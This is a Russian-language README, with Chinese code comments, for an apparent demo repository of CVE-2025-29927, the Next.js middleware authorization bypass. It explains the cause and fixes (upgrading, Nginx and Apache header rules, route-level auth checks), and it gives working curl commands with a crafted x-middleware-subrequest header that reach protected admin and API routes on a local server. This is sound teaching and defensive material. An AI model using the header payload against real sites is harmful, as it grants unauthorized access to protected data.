
Демонстрация уязвимости обхода авторизации Middleware в Next.js (CVE-2025-29927), позволяющей неавторизованным пользователям получать доступ к защищённой информации.
Этот репозиторий содержит пример проекта, демонстрирующий уязвимость обхода авторизации в middleware Next.js (CVE-2025-29927). Эта уязвимость позволяет неавторизованным пользователям получать доступ к защищённым ресурсам.
CVE-2025-29927 — это серьёзная уязвимость безопасности (оценка CVSS: 9.1), затрагивающая систему middleware в Next.js. Злоумышленник может полностью обойти проверки безопасности middleware, добавив в HTTP-запрос специально сформированный заголовок x-middleware-subrequest.
/admin) без аутентификации/api/confidential)npm install для установки зависимостейnpm run dev для запуска сервера разработки Next.jshttp://localhost:3000 — вы увидите текущий вид сайтаNext.js использует внутренний заголовок x-middleware-subrequest для предотвращения бесконечных циклов, возникающих из-за рекурсивных вызовов middleware. Однако этот заголовок может быть использован внешними запросами. Когда запрос содержит данный заголовок и достигает максимальной глубины рекурсии (MAX_RECURSION_DEPTH), Next.js полностью пропускает выполнение middleware.
Сначала попробуйте обычный доступ к защищённым путям:
# 訪問受保護的管理員頁面
curl http://localhost:3000/admin/dashboard -v
Ожидаемый результат: произойдёт перенаправление на страницу входа (302 redirect to /login)
# 訪問受保護的 API
curl http://localhost:3000/api/confidential -v
Ожидаемый результат: возвращается ошибка 401 Unauthorized
Теперь используйте специально сформированный заголовок для обхода middleware:
# 繞過 /admin 路徑保護
curl http://localhost:3000/admin/dashboard \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-v
Ожидаемый результат: успешный доступ к содержимому страницы администратора (200 OK)
# 繞過 /api/confidential 保護
curl http://localhost:3000/api/confidential \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-v
Ожидаемый результат: успешный доступ к API и получение конфиденциальных данных (200 OK)
Вы также можете протестировать уязвимость с помощью инструментов разработчика в браузере:
x-middleware-subrequestmiddleware:middleware:middleware:middleware:middlewarehttp://localhost:3000/admin/dashboardКогда middleware получает запрос с заголовком x-middleware-subrequest:
Обновите до исправленной версии:
Если немедленное обновление невозможно, можно блокировать запросы с заголовком x-middleware-subrequest на уровне обратного прокси (Nginx, Apache и т. д.):
Пример конфигурации Nginx:
location / {
if ($http_x_middleware_subrequest) {
return 403;
}
proxy_pass http://localhost:3000;
}
Пример конфигурации Apache:
RequestHeader unset x-middleware-subrequest
Помимо middleware, добавьте проверку аутентификации и в обработчики маршрутов:
// 在 API 路由中添加額外的認證檢查
export async function GET(request) {
// 不要只依賴 middleware,在這裡也檢查認證
if (!isAuthenticated(request)) {
return new Response('Unauthorized', { status: 401 });
}
// ... 處理請求
}